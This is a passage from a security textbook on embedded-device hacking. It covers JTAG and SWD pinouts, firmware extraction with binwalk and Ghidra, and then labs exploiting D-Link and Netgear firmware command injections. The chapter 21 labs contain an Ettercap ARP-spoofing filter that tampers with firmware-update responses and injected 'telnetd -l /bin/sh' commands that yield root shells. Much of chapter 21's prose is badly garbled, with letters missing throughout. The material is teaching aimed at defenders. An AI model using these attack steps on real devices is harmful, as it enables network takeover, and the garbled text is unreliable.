Inter-Integrated-Circuit, pronounced I-squared-C and written as I2C,6 is a multimaster,
multislave, packetized serial communications protocol. It is slower than SPI but only uses
two pins instead of three, plus chip selects for each slave. Like SPI, I2C is used for short
distances between ICs on the board, but it can be used in cabling. Unlike SPI, I2C is an
official specification.
PART IV
Although multiple masters are supported, they cannot communicate with each other
and cannot use the bus at the same time. To communicate with a specific device, the
master uses an address packet, followed by one or more data packets. The two pins are
as follows:
JTAG
The Joint Test Action Group (JTAG) was created in the 1980s as a method to facilitate
debugging and testing ICs. In 1990, the method was standardized as IEEE 1149.1, but
it is commonly referred to as simply JTAG.7 Although it was initially created to help with
board-level testing, the capabilities allow debugging at the hardware level.
Although this is an oversimplification, JTAG defines a mechanism of utilizing a few
externally accessible signals to access IC internals via a standardized state-machine. The
mechanism is standardized, but the actual functionality behind it is IC specific. This
means that you must know the IC being debugged to use JTAG effectively. For example,
a bit sequence to an ARM processor and an MIPS processor will be interpreted differ-
ently by the internal logic of the processor. Tools such as OpenOCD require device-
specific config files to operate properly. Although manufacturers may define more pins,
the four/five JTAG pin description is provided in Table 20-2. The collection of pins is
also known as the test access port (TAP).
Although you might think that five pins would have a standard layout, board and
IC manufacturers define their own layouts. Some common pinouts are defined in
Table 20-3 and include 10-, 14-, and 20-pin configurations. The pinouts in the table
are only a sampling and need to be verified before they are used with a debugger.
Pin Description
TCK (Test Clock) The Test Clock pin is used to clock data into the TDI and TMS inputs
of the target. The clock provides a means for the debugger and
device to be synchronized.
TMS (Test Mode Select) The Test Mode Select pin is used to set the state of the Test Access
Port (TAP) controller on the target.
TDI (Test Data In) The Test Data In pin provides serial data to the target during
debugging.
TDO (Test Data Out) The Test Data Out pin receives serial data from the target during
debugging.
TRST (Test Reset) (Optional) The Test Reset pin can be used to reset the TAP controller
of the processor to allow debugging to take place.
Table 20-2 Four/Five Pin JTAG Interface Description
Chapter 20: Dissecting Embedded Devices
419
Pin 14-Pin ARM 20-Pin ARM TI MSP430 MIPS EJTAG
1 VRef VRef TDO nTRST
2 GND VSupply VREF GND
3 nTRST nTRST TDI TDI
4 GND GND — GND
5 TDI TDI TMS TDO
6 GND GND TCLK GND
7 TMS TMS TCK TMS
8 GND GND VPP GND
9 TCK TCK GND TCK
10 GND GND — GND
11 TDO RTCK nSRST nSRST
12 nSRST GND — —
13 VREF TDO — DINT
14 GND GND — VREF
15 nSRST
PART IV
16 GND
17 DBGRQ
18 GND
19 DBGAK
20 GND
Table 20-3 Typical JTAG Pinouts8, 9
For the developer and tester, the following capabilities are commonly used:
SWD
Serial Wire Debug (SWD) is an ARM-specific protocol for debugging and program-
ming. Unlike the more common five-pin JTAG, SWD uses two pins. SWD provides a
clock (SWDCLK) and bidirectional data line (SWDIO) to deliver the debug function-
ality of JTAG. As can be seen in Table 20-4, SWD and JTAG can coexist,10 which is
important to note.
Pin 10-Pin ARM Cortex SWD and JTAG11 20-Pin ARM SWD and JTAG12
1 VRef VRef
2 SWDIO / TMS VSupply
3 GND nTRST
4 SWDCLK / TCK GND
5 GND TDI / NC
6 SWO / TDO GND
7 KEY TMS / SWDIO
8 TDI / NC GND
9 GNDDetect TCK / SWDCLK
10 nRESET GND
11 RTCK
12 GND
13 TDO / SWO
14 GND
15 nSRST
16 GND
17 DBGRQ
18 GND
19 DBGAK
20 GND
Table 20-4 Typical JTAG/SWD Pinouts
Chapter 20: Dissecting Embedded Devices
421
The capabilities for developers and testers are the same as those mentioned for JTAG.
As with JTAG, the capabilities that help manufacturers also enable attackers to discover
vulnerabilities.
Software
All the hardware we’ve discussed so far would be useless without something defining
its functionality. In microcontroller/microprocessor-based systems, software defines the
capabilities and breathes life into the system. A bootloader is used to initialize the pro-
cessor and start the system software. The system software for these systems typically falls
into one of these three scenarios:
PART IV
Bootloader
For higher-level software to run on a processor, the system must be initialized. The soft-
ware that performs the initial configuration of the processor and the required initial
peripheral devices is called the bootloader. The process typically requires multiple stages
to get the system ready to run the higher-level software. The oversimplified process is
generally described as follows:
No Operating System
For many applications, the overhead of an OS and the simplicity of the system do not
justify or allow for an OS. For example, a sensor that performs measurements and sends
them to another device likely uses a low-power microcontroller such as a PIC and has
very little need for an operating system. In this example, the PIC likely does not have
enough resources (storage, RAM, and so on) to allow it to run an OS.
In systems with no OS, the data storage will likely be very crude, based on address off-
sets or using NVRAM. Additionally, these systems typically do not have a user interface,
or the interface is extremely simple, such as LEDs and buttons. After the program has
been acquired, either from extraction from storage or via downloading, the format can be
entirely custom and not easily identifiable to frequently used file analysis tools. The best
bet is to read the documentation for the microcontroller to understand how the device
loads code and attempts to deconstruct it manually with a disassembler.
You might be thinking that a system this simple would not be very interesting, but
keep in mind that it might have connectivity to a more complex system with Internet
connections. Don’t dismiss these devices as not having a valuable attack surface with-
out first considering the total use case, including connected devices and their purpose.
Chapter 20: Dissecting Embedded Devices
423
The limited instruction space might mean that the device doesn’t have the ability to
adequately protect itself from malicious input, and the protocols are likely not encrypted.
Additionally, connected systems might explicitly trust any data coming from these devices
and therefore not take appropriate measures to ensure that the data is valid.
PART IV
Extracting the firmware with SPI or I 2C or using a downloaded file will provide you
with strings and code that can be disassembled. But unlike with Linux, you will not gen-
erally get easily digestible data. Analyzing the strings for passwords, certificates, keys, and
format strings can yield useful secrets to use against the live system. Additionally, using
JTAG to set breakpoints and perform actions on the device is likely the most effective
method of reversing the functionality.
PART IV
and-interface-signals/arm-jtag-20-interface-signals.
10. “Structure of the SWJ-DP” (JTAG/SWD Coexist as SWJ-DP), ARM Developer,
http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.ddi0314h/
Chdjjbcb.html.
11. “10-Way Connector Pinouts” (SWD/JTAG 10 Pin), ARM Developer, http://
infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.ddi0314h/Chdhbiad.html.
12. “20-Way Connector Pinouts Including Trace” (SWD/JTAG 20 Pin), ARM
Developer, http://infocenter.arm.com/help/topic/com.arm.doc.ddi0314h/
Chdfccbi.html.
13. “BusyBox: The Swiss Army Knife of Embedded Linux,” BusyBox, https://busybox
.net/about.html.
This page intentionally left blank
Exploiting
Embedded Devices
CHAPTER
21
In this chapter, we cover the following topics:
• Static analysis of vulnerabilities in embedded devices
• Dynamic analysis with hardware
• Dynamic analysis with emulation
T ape ove expong embedded deve. T op beomng neangy
mpoan w e emegene o e Inene o Tng (IoT), a oveed n pevou
ape. Fom eevao o a, oae, and eveyng “ma,” embedded deve
ae beomng ubquou, and e euy vuneabe and ea ae beomng
nnumeabe. A Bue Snee a obeved, ke e Wd We o e 1990
a ove agan; eveywee we ook, ee ae vuneabe n ee embedded deve.
Snee expan a beaue o many ao, nudng e med eoue o
e deve emeve and e med eoue o e manuaue n e ow-magn
ed o podung embedded deve.1 Hopeuy, moe ea ake w e o mee
aenge and make a den n e de o vuneabe o embedded deve.
In mo ae, e updae pakage o a deve an be downoaded om e vendo e.
Cueny, many, no mo, updae ae no enyped and eeoe an poenay
be deonued w vaou oo u a unzp, bnwak, and Fmwae Mod K.
427
Gray Hat Hacking: The Ethical Hacker’s Handbook
428
Fo nuon pupoe, we w ook a a Lnux-baed yem ne you ae mo key
ama w ee yem.
In Lnux-baed embedded yem, e updae pakage oen onan a new opy
o a e eena e and deoe equed o opeae e yem. Te equed
deoe and e ae eeed o a e root file system (RFS). I an aake an gan
ae o e RFS, ey w ave e nazaon oune, web eve oue ode, any
bnae equed o un e yem, and poby ome bnae a povde e aake
w an advanage wen aempng o expo e yem. Fo exampe, a yem ue
BuyBox and nude e ened eve, an aake mg be abe o eveage e Tene
eve o povde emoe ae o e yem. Speay, e ened eve nuded n
BuyBox povde an agumen a aow o be nvoked wou auenaon and
o bnd o any pogam (/u/bn/ened – /bn/).
A an exampe, we w nvegae an ode veon o e D-Lnk DAP-1320 wee
ange exende’ mwae updae (veon 1.1 o e A adwae). T updae wa oen
beaue an ode updae a a been paed, and e vuneaby doue
(www.kb.e.og/vu/d/184100) wa epoed by evea o e auo.
Te ep o eae e envonmen o deonung e mwae. In ou ae,
we w ue bnwak. Te bae o yem o ou anay Ka Lnux 2021.1. In ode
o na bnwak, we mu na e peeque ung e pakage manage ap-
ge o na pp3 and emove e naed veon o bnwak ➊. One e peeque
ae me, e na eque onng e poje om GHub, ekng ou a pe
known-wokng veon, modyng e dep. p o oe eo eaed o Ka,
unnng e dep. p ➋, and nang bnwak. We en aemp o exa e
mwae ➌ povded n Lab 21-1 on e book’ GHub epooy, and e pakage
and onen ype ae known by e oo, ey w be exaed o ue anay. Fom
e oupu, we an ee a e oo a ound bo an MIPS Lnux kene mage ➍ and
Chapter 21: Exploiting Embedded Devices
429
a qua e yem ➎ ➏. By bowng e exaon, we deny o be e oo ➐
and vey a e bnae ae omped o MIPS ➑.
➊$ sudo apt install python3-pip
<truncated for brevity>
$ sudo apt-get --purge remove binwalk
PART IV
--------------------------------------------------------------------------------
0 0x0 Zip archive data, at least v2.0 to extract,
compressed size: 3576647, uncompressed size: 5439486,
name: DAP1320_fw_1_11b10.bin
3576803 0x3693E3 End of Zip archive, footer length: 22
➏$ ls _DAP-1320_FIRMWARE_1.11B10.zip.extracted/\
_DAP1320_fw_1_11b10.bin.extracted
40 40.7z D0000.squashfs squashfs-root
➐$ ls _DAP-1320_FIRMWARE_1.11B10.zip.extracted/\
_DAP1320_fw_1_11b10.bin.extracted/squashfs-root
bin dev etc lib linuxrc proc sbin share sys tmp usr var www
$ cd _DAP-1320_FIRMWARE_1.11B10.zip.extracted/\
_DAP1320_fw_1_11b10.bin.extracted/squashfs-root/
$ ls -m bin
ash, busybox, busybox_161, cat, cgi, chmod, cli, cp, date, dd, echo, egrep,
ethreg, fgrep, gpio_event, grep, hostname, kill, ln, login, ls, md, mkdir, mm,
mount, mv, netbios_checker, nvram, ping, ping6, ps, rm, sed, sh, sleep, ssi,
touch, udhcpc, umount, uname, xmlwf
➑$ file bin/busybox
bin/busybox: ELF 32-bit MSB executable, MIPS, MIPS32 rel2 version 1 (SYSV),
dynamically linked, interpreter /lib/ld-uClibc.so.0, no section header
Now a e updae pakage a been exaed, me o bowe e e, ookng
o eaue, onguaon, o unknown appaon. Tabe 21-1 dene ome em o
ook o we bowng.
PART IV
./etc/host.conf
./etc/resolv.conf
➋./etc/lighttpd_base.conf
$ cat etc/lighttpd_base.conf
#######################################################################
## /etc/lighttpd/lighttpd.conf
## check /etc/lighttpd/conf.d/*.conf for the configuration of modules.
#######################################################################
<truncated>
## Load the modules.
➌include "modules.conf"
<truncated>
$ cat etc/modules.conf
#######################################################################
# # Mo d u l e s t o l o a d
<truncated>
➍include "conf.d/cgi.conf"
root@kali:~/DAP-1320/fmk/rootfs# cat etc/conf.d/cgi.conf
#######################################################################
# # CGI mo d u l e s
## ---------------
## http://www.lighttpd.net/documentation/cgi.html
##
server.modules += ( "mod_cgi" )
We now ave an dea o ow o poeed and w begn ou vuneaby anay.
A pon, vuneaby anay no mu deen om wa a been aug
n pevou ape. Command-njeon, oma-ng, bue-oveow, ue-ae-ee,
monguaon, and many moe vuneabe an be eaed o. In ae, we
w ue a enque o nd ommand-njeon-ype vuneabe n exeuabe. Sne
/bn/ a bnay, we w ook o oma ng a ue %s (o ng) and en
ede e oupu o /dev/nu (meanng we don’ ae abou e oupu). T paen
neeng beaue may ndae a sprintf unon a’ eang a ommand, w
a poenay ue-onoed vaabe, o ue w popen o system. Fo exampe, a
ommand o ee anoe o ave mg be eaed a oow:
sprintf(cmd,"ping –q –c 1 %s > /dev/null",variable)
Connung om e qua-oo deoy om Lab 21-1, we w anayze e
bnay. I a vaabe onoed by e aake and no anzed, and cmd ued o
exeue n a e, e aake an nje e ommand no e nended ommand. In
ae, we ave wo neeng ng a appea o downoad a e:
➊$ strings bin/ssi | grep "%s" | grep "/dev/null"
wget -P /tmp/ %s > /dev/null
wget %s -O %s >/dev/null &
NOTE For ease of the use, the SSI binary and previous command are also
located in Lab 21-2.
Amed w ee wo ng, we w begn o do ome eveng o e bnay o ee
we ave ono ove e vaabe. Gda w be ou oo o oe o ab, a
avaabe o ee and dued n Cape 4. Ree o Cape 4 o nuon on
nang and eang a poje.
Te man objeve o e Gda anay o deemne wee e ng ued
n a way a e aake a a ane o ae . Ae openng e SSI bnay n Gda
and enung a e poeo e o MIPS, we en ake e oowng ep:
1. Sea o e ng o nee.
2. Deemne ow e ng ued.
3. Deemne wee e URL ome om ( adoded, we ae no neeed
n ).
Chapter 21: Exploiting Embedded Devices
433
Go o e Sea | Fo Sng menu o bng up e ex ea een, own ee.
Leave e deau and en k Sea.
One ompee, ea o “wge ” (noe e pae ae wget) and you w ee
PART IV
e wo ng we ound ung e ❶strings ommand ne n e . We nd ony wo
ouene o “wge ”: one e a oma ng and e oe a eeene o e
a ng.
By doube-kng e gged eu, we ae aken o a adde n e daemby
ng. One n e Lng wndow, pe ctrl-shift-f we e uo a e adde
00428458 and doube-k e ony eeene a 00409010. You w now ee daembed
ode a e eeene on e e and a deomped veon o e daembed ode on
Gray Hat Hacking: The Ethical Hacker’s Handbook
434
e g. Song down, we ee a e ng beng ued n a sprintf o onu a
downoad ommand, w beng paed o system, a own nex.
A pon, we a ea know a e ng beng ued o make a a o system.
Fom ee, we need o undeand ow e URL n e oma ng povded. T
eque u o ae e ono ow o e pogam o pon.
To ae e ono ow o e eny o uboune/unon, we need o o o
e op o e unon and ee e adde (0040830) on e e. One e adde
eeed, we mpy pe ctrl-shift-f o ge o e eeene, a own ee.
Chapter 21: Exploiting Embedded Devices
435
Te o-eeene o e downoad oune auay a ookup abe w unon
pone o e eny pon o ea ommand. Te ode eae o a ommand and
jump o e oune pone a adjaen o . You w ee e ommand o “IPv6
Funon,” “Downoad FW and anguage o DUT,” and “ge_wan_p,” ju above and
beow e adde. Noe a e ommand ae n e om o e o name, unon
pone, and ong name. Beaue a ookup abe, we need o nd e begnnng o
e abe n ode o oae a o-eeene o . By ong up, we ee a e adde
004466d appea o be e bae o e jump abe. Peng ctrl-shift-f on a adde
ge u e ode a poee e jump abe, a own nex (ssi_cgi_tool_main).
PART IV
Aoug we ave no ompeey aed e ogn o e yem a bak o e oo,
ae o ay a pon bak o e cgi ommand o downoad e mwae. A ew
gep ➋ ➍ n e oo o e ng “downoad_w_p” gve u e ogn ➌ ➎. A
pon, we w move on o aempng o expo e deve oug e mwae updae.
➋$ grep -r download_fw_lp .
➌./www/Firmware.htm:<input type="hidden" id="action" name="action"
value="download_fw_lp">
Binary file ./bin/ssi matches
➍$ grep -C 7 download_fw_lp www/Firmware.htm
<form id="form3" name="form3" method="POST" action="apply.cgi">
<input type="hidden" id="html_response_page" name="html_response_page"
value="Firmware.htm">
<input type="hidden" name="html_response_return_page" value="Firmware.htm">
<input type="hidden" id="html_response_message" name="html_response_message"
value="dl_fw_lp">
<input type="hidden" id="file_link" name="file_link" value="">
<input type="hidden" id="file_name" name="file_name" value="">
<input type="hidden" id="update_type" name="update_type" value="">
➎<input type="hidden" id="action" name="action" value="download_fw_lp">
</form>
Gray Hat Hacking: The Ethical Hacker’s Handbook
436
Dynamic Analysis with Hardware
Te a anay poon o e aemen ompee. Fom pon owad, we
w be ookng a e yem a un on e adwae, no emuaon. We need o e
up an envonmen o neepng eque om e deve o e WAN, onne e
DAP-1320 o ou e newok, and begn exeng e mwae updae poe. Te
end goa o exeue omeng on e wee exende oug ommand njeon.
Ettercap
A a quk eee, Adde Reouon Pooo (ARP) e meanm o eovng
an IP adde o meda ae ono (MAC) adde. Te MAC adde a unque
adde agned by e manuaue o e newok deve. Smpy pu, wen a aon
need o ommunae w anoe aon, ue ARP o deemne e MAC adde
aoaed w e IP o ue. ARP poong eevey poon e ARP abe o e
aon, aung em o ue e aake’ MAC adde nead o e aua MAC
adde o e age aon. Teeoe, a a o a denaon avee oug e
aake’ aon. T eevey pu a deve nne wou u avng o pyay
mody e newok.
Eeap a oo a aow u o ARP-poo o e pupoe o peomng man-n-
e-mdde (MITM) aak, pang e pake, modyng em, and en owadng
em o e epen. To begn w, we ue Eeap o ee e a beween e
deve and e Inene by ung e oowng ommand (n exampe, e deve
192.168.1.173 and e gaeway 192.168.1.1):
$ ettercap –T –q –M arp:remote /192.168.1.173// /192.168.1.1//
One Eeap a aed, we w ue Weak o vew e a a we nea w
e deve. One Weak aed and e apue a been naed, we an ek
o a mwae updae on e deve’ upgade page, a own nex.
Chapter 21: Exploiting Embedded Devices
437
Ck e Cek o New Fmwae buon and en oow e TCP eam wn
PART IV
Weak. We now ee a e deve goe o p://wpd.dnk.om.w/oue/
mwae/quey.ap?mode=DAP-1320_Ax_Deau n e wo ne and a e
epone XML-enoded daa, a own nex.
Gray Hat Hacking: The Ethical Hacker’s Handbook
438
By gong o e URL we apued, we an ee a e XML onan e FW veon’
majo and mno numbe, e downoad e, and eeae noe.
Amed w nomaon, we an aume a we ange e mno numbe
o 12 and e mwae nk o a e ommand, we w oe e deve o aemp o
updae and, onequeny, un ou ommand. In ode o aomp ak, we need
o eae an Eeap e ➊ (pevouy aved and dpayed ee), ompe ➋, and
en un ➌, a oow:
➊$ cat ettercap.filter
if (ip.proto == TCP && tcp.src == 80) {
msg("Processing Minor Response...\n");
if (search(DATA.data, "<Minor>11")) {
replace("<Minor>11", "<Minor>12");
msg("zapped Minor version!\n");
}
PART IV
Po o kng e Upgade Fmwae buon, we need o e up ou png o mono
e deve. Wen we k e Upgade Fmwae buon, we oud ee e oowng
downoad poge box:
$ ping 192.168.1.173
64 bytes from 192.168.1.173: icmp_seq=56 ttl=64 time=2.07 ms
64 bytes from 192.168.1.173: icmp_seq=57 ttl=64 time=2.20 ms
64 bytes from 192.168.0.63: icmp_seq=58 ttl=64 time=3.00 ms
Gray Hat Hacking: The Ethical Hacker’s Handbook
440
➊From 192.168.1.173 icmp_seq=110 Destination Host Unreachable
From 192.168.1.173 icmp_seq=111 Destination Host Unreachable
From 192.168.1.173 icmp_seq=112 Destination Host Unreachable
From 192.168.1.173 icmp_seq=113 Destination Host Unreachable
From 192.168.1.173 icmp_seq=114 Destination Host Unreachable
From 192.168.1.173 icmp_seq=115 Destination Host Unreachable
From 192.168.1.173 icmp_seq=116 Destination Host Unreachable
From 192.168.1.173 icmp_seq=117 Destination Host Unreachable
From 192.168.1.173 icmp_seq=118 Destination Host Unreachable
From 192.168.1.173 icmp_seq=119 Destination Host Unreachable
From 192.168.1.173 icmp_seq=120 Destination Host Unreachable
From 192.168.1.173 icmp_seq=121 Destination Host Unreachable
➋64 bytes from 192.168.1.173: icmp_seq=122 ttl=64 time=1262 ms
64 bytes from 192.168.1.173: icmp_seq=123 ttl=64 time=239 ms
64 bytes from 192.168.1.173: icmp_seq=124 ttl=64 time=2.00 ms
You w noe a e o beome noneponve ➊ and ae ome bak onne ➋.
T ndae a e box wa ebooed. A pon, we’ve poven a we an nje
a ommand no e upgade URL and e deve w exeue . Wou upoadng
an exeuabe o e deve, you ae med by wa on e deve. Fo exampe, a
pevouy expaned, ened omped no e BuyBox ( no on yem),
you an ju a o ae e e wou a pawod, a oow:
telnetd –l /bin/sh
T appoa demonaed n e nex eon. I needed, you oud o-ompe
a bnay u a nea o poeo and en upoad va p o p, a Cag
Hene a demonaed,2 o you oud ue anoe meod.
FirmAE
Te FmAE3 oo exend e apaby o FIRMADYNE4 o aow o e emuaon
o moe mwae by ung vaou abaon o eve and e QEMU ypevo.
Te ou o e abaon o aow e unnng o web eve, a a a ommon
aak veo. Te beauy o appoa a you do no ave o buy e adwae
o e e mwae. T poweu appoa aow o aed eng n paae. Te
auo o FmAE ad a ue ae o 79.36 peen on 1,124 deve and ound 12
new 0-day,5 w no bad a a. In e oowng ab, we w e up and exeue
FmAE.
I you wan o oow aong n ab, we w be ung Ka 2021-1, unnng n VMwae
o VuaBox, w NAT newok eng. F, we need o e up e FmAE oo by
ung e nuon ound on e FmAE GHub (ee e “Fo Fue Readng”
Chapter 21: Exploiting Embedded Devices
441
eon a e end o ape). Te na ep ae daay mped ove
FIRMADYNE and ony eque ee pakage, bud-eena, ene, and g, o be
naed oude o e na poe. Te na ao ee on e a a e bnwak
naaon om Lab 21-1 wa ompeed. Te na poe own ee:
$ sudo apt-get install build-essential git telnet
<output skipped throughout this lab for brevity>
$ git clone --recursive https://github.com/pr0v3rbs/FirmAE
$ cd FirmAE
$ ./download.sh
Downloading binaries...
<output skipped throughout this lab for brevity>
$ ./install.sh
<output skipped throughout this lab for brevity>
$ ./init.sh
+ sudo service postgresql restart
+ echo 'Waiting for DB to start...'
Waiting for DB to start...
+ sleep 5
PART IV
Now a you ave e up e envonmen, you may emuae ampe mwae (agan, a
debed on e FmAE GHub).
F, ung e un. p, ek e mwae povded on e GHub o
ab. T ep w exa e mage, ge e aeue, ne e newok ong, and
aoae an ID n e daabae o e anay ( may ake a we, o be paen):
$ sudo -E ./run.sh -c netgear WNAP320_Firmware_Version_2.0.3.zip
[*] WNAP320_Firmware_Version_2.0.3.zip emulation start!!!
[*] extract done!!!
[*] get architecture done!!!
mke2fs 1.44.1 (24-Mar-2018)
e2fsck 1.44.1 (24-Mar-2018)
[*] infer network start!!!
[IID] 3
[MODE] check
[+] Network reachable on 192.168.0.100!
[+] Web service on 192.168.0.100
[*] cleanup
======================================
Now a you know wa e IP , un e emuao w debuggng enabed o you
an nea w e e o un gdb. In ou ae, we mpy wan o ae e e ➊ and
ee wa avaabe n BuyBox ➋. Fom e oupu o BuyBox, we ee a ened ➌
avaabe we an exeue pogam va ommand njeon:
$ sudo -E ./run.sh -d netgear WNAP320_Firmware_Version_2.0.3.zip
[*] WNAP320_Firmware_Version_2.0.3.zip emulation start!!!
[*] extract done!!!
[*] get architecture done!!!
[*] WNAP320_Firmware_Version_2.0.3.zip already succeed emulation!!!
Gray Hat Hacking: The Ethical Hacker’s Handbook
442
[IID] 3
[MODE] debug
[+] Network reachable on 192.168.0.100!
[+] Web service on 192.168.0.100
[+] Run debug!
Creating TAP device tap3_0...
Set 'tap3_0' persistent and owned by uid 0
Bringing up TAP device...
Starting emulation of firmware... 192.168.0.100 true true 17.363515215
18.767963507
[*] firmware - WNAP320_Firmware_Version_2.0.3
[*] IP - 192.168.0.100
[*] connecting to netcat (192.168.0.100:31337)
[+] netcat connected
------------------------------
| FirmAE Debugger |
------------------------------
1. connect to socat
2. connect to shell
3. tcpdump
4. run gdbserver
5. file transfer
6. exit
➊> 2
Trying 192.168.0.100...
Connected to 192.168.0.100.
Escape character is '^]'.
/ # cd bin
➋/bin # busybox
BusyBox v1.11.0 (2011-06-23 15:54:48 IST) multi-call binary
Copyright (C) 1998-2008 Erik Andersen, Rob Landley, Denys Vlasenko
and others. Licensed under GPLv2.
See source distribution for full notice.
I a any me you me up e peedng ommand and wan o ee e daabae
and envonmen, mpy un e oowng ommand:
$ psql -d postgres -U firmadyne -h 127.0.0.1 \
> -q -c 'DROP DATABASE "firmware"'
Password for user firmadyne:
$ sudo -u postgres createdb -O firmadyne firmware
$ sudo -u postgres psql -d firmware \
> < ./database/schema
$ sudo rm -rf ./images/*.tar.gz
$ sudo rm -rf scratch/
A pon, e mwae oud be unnng on e peedng IP a a ap deve. You
oud ao be abe o onne o vua neae om e mane on w you
ae unnng QEMU. Fom wn e VM, open a web bowe and y o onne o
e need IP, a own nex. You may need o wa a mnue o e web eve o uy
a ae e emuao aune e mwae.
PART IV
Gray Hat Hacking: The Ethical Hacker’s Handbook
444
Te edena ae admn/pawod, w an be ound onne. And ju ke a,
we ae ogged n o an emuaed oue, a own ee.
So a we ave emuaed e Negea WNAP320 mwae n QEMU. Now me
o do wa we ame o: expo e mwae. Domn Cen6 and eam ound a
ommand njeon vuneaby n mwae, unnng n FIRMADYNE. Le’ e
w FmAE and ee an be expoed:
$ nmap 192.168.0.100
$ nmap 192.168.0.100
PART IV
BackupConfig.php boardDataWW.php checkSession.php data.php
header.php index.php login_header.php packetCapture.php
saveTable.php test.php tmpl
<truncated for brevity>
/home/www # id
➌uid=0(root) gid=0(root)
/home/www #
Fom e pevou oupu, you oud noe a we ave njeed a ommand o
a e ene eve ➊. Te telnetd –l /bin/sh agumen a e ene eve on e
deau po and bnd o e “/bn/” e. Te nmap an ow a po 23
now open ➋. Ae onneng o ene, you w noe a e ue oo ➌. Aoug
a been done on emuaed mwae, e ame an be aomped on e aua
mwae. A pon, e aake a oo ae on e deve and an poenay ue
e deve a a aunng pon o oe aak on e newok.
Summary
T ape demonaed vuneaby anay, bo om a a pon o vew and
a dynam pon o vew. I ao demonaed expong a ommand-njeon aak
bo om a dynam pon o vew and an emuaed pon o vew. In e ae ae,
you eaned a vuneabe an be doveed and poo-o-onep expo an be
deveoped wou even puang e adwae equpmen. Ou ope a, ung
ee enque, ea ake w nd euy vuneabe n embedded deve
and doe em n an ea manne, u makng u a moe eue.
Gray Hat Hacking: The Ethical Hacker’s Handbook
446
For Further Reading
ARP spoofing en.wkpeda.og/wk/ARP_poong
BusyBox buybox.ne
Craig Heffner’s Binwalk gub.om/ReFmLab/bnwak
Craig Heffner’s blog (creator of binwalk) www.devy0.om/bog/
Ettercap eeap.gub.o/Eeap
FirmAE gub.om/p0v3b/FmAE
“FirmAE: Towards Large-Scale Emulation of IoT Firmware for Dynamic
Analysis” www.aa.og/2020/e/web/6a-4_mae-de.pd
Firmadyne GitHub gub.om/madyne/madyne
Ghidra gda-e.og/
References
1. Bue Snee, “Seuy Rk o Embedded Syem,” Schneier on Security,
Januay 9, 2014, p://www.nee.om/bog/ave/2014/01/euy_
k_9.m.
2. Cag Hene, “Hakng e Lnky WMB54G, Ung p o Upoad a Bnay,”
/DEV/TTYS0, Juy 12, 2012, www.devy0.om/2012/07/akng-e-nky-
wmb54g/.
3. Mngeun Km, Dongkwan Km, Eunoo Km, Suyeon Km, Yeongn Km, and
Yongdae Km, p://gub.om/p0v3b/FmAE.
4. Domn Cen, FIRMADYNE, p://gub.om/madyne/madyne.
5. Km, op. .
6. Domn Cen, “D-Lnk/Negea FIRMADYNE Command Injeon/
Bue Oveow,” Pake Som, Febuay 26, 2016, CVE 2016-1555,
p://pakeomeuy.om/e/135956/D-Lnk-Negea-FIRMADYNE-
Command-Injeon-Bue-Oveow.m.
Software-Defined Radio
CHAPTER
22
In this chapter, we cover the following topics:
• Getting started with software-defined radio (SDR)
• A step-by-step process (SCRAPE) for analyzing simple RF devices
Wireless devices are found in all aspects of our lives. Although these devices afford us
greater freedom by eliminating wires, they also open proximity and remote attack surfaces.
For example, a sensor that is hard-wired and not exposed to the public is far more difficult
to access than a wireless sensor that has a range exceeding the perimeter of the building.
Of course, simply having access to the wireless signal does not guarantee that nefarious
activities can be accomplished, but it certainly opens a door.
Radio frequency (RF) hacking is far too complicated of a subject to adequately
cover in a single chapter. Our goal is to use a simple device to introduce you to afford-
able software-defined radio (SDR), open source software for SDR, and a process to
evaluate and test products that utilize custom or semi-custom wireless protocols for
communications.
What to Buy
Now that you have an idea of what SDR is, it is time to find your new toy. Some
examples of SDR are HackRF, bladeRF, and USRP. Each of these uses a USB port on the
computer and may be used with open source software such as GNU Radio. Table 22-1
provides a quick comparison of these three devices.
447
Gray Hat Hacking: The Ethical Hacker’s Handbook
448
HackRF bladeRF 2.0 micro xA4 USRP B200
Operating 1 MHz to 6 GHz 47 MHz to 6 GHz 70 MHz to 6 GHz
frequency
Bandwidth 20 MHz (6 GHz) 56 MHz 56 MHz
Duplex Half Full Full
Bus USB 2 USB 3 USB 3
ADC resolution 8 bit 12 bit 12 bit
Samples per 20 MSps 61 MSps 61 MSps
second (million samples
per second)
Approximate cost $340 $480 $900
Table 22-1 Comparison of Affordable SDR
The operating frequency determines what frequencies the radio can tune to. For
example, Bluetooth operates between 2.4 GHz and 2.48 GHz over 40 to 80 channels,
depending on the version. FM radio operates between 87.8 MHz and 108 MHz over
101 channels. Add-ons, such as the Ham It Up Nano, are available to effectively lower
their lower limits.
The bandwidth is the amount of the RF spectrum that can be scanned by the appli-
cation/device. The listed bandwidths are published on the respective websites, but
may differ depending on the firmware loaded. For example, HackRF firmware version
2017.02.01 or later supports a sweep mode that allows the device to sweep over the full
6 GHz range. One potential benefit of the increased bandwidth is the ability to monitor
all channels of Bluetooth simultaneously (80 MHz).
Duplex refers to how two systems can communicate with one another. Full duplex
means that the device can both transmit and receive simultaneously. Half duplex, as you
have no doubt guessed, means that the device can transmit and receive data, but not at
the same time. Examples of half-duplex communications are walkie-talkies and many
computer Voice over IP (VoIP) applications. When both parties attempt to speak at the
same time, collisions occur and data is lost. Although full duplex is more flexible, the
duplex of SDR will likely not hinder the effectiveness of the analysis.
Analog-to-digital conversion (ADC) resolution refers to the number of distinct voltage
values each sample can take on. For example, an 8-bit ADC with a voltage range of 4V
has a resolution of 15.6 mV, or 0.39 percent. In combination with the sampling rate,
more bits of ADC resolution result in a more accurate digital representation of the
analog signal.
The published samples per second rates are dependent on the USB throughput, the
CPU, the ADC converter, and the size per sample. For example, the USRP B200 value
of 61 MSps is based on using 16-bit quadrature samples; however, the system can be con-
figured to use 8-bit quadrature samples, which effectively doubles the samples per second
throughput. The lower supported HackRF sample per second value is both a result of the
ADC chosen and the USB throughput.
Chapter 22: Software-Defined Radio
449
In addition to purchasing an SDR, you will likely need to purchase several cables,
dummy loads, attenuators, and antennas with differing frequency ranges. For testing
devices in your lab, directional antennas come in handy to help isolate the sources.
Finally, although not necessary, a simple isolation chamber (or box) can be extremely
useful when dealing with common frequencies such as 2.4 GHz. Each of the SDRs listed
in Table 22-1 has an SMA (Subminiature version A) female connector on the board for
connecting cables, attenuators, and antennas.
PART IV
Learn by Example
Now that you’ve been introduced to SDR, we’ll go through the process of assessing a
new device so that you can learn how to use an SDR and the associated software. For the
remainder of this chapter, we will be using an Ubuntu system with the HackRF SDR
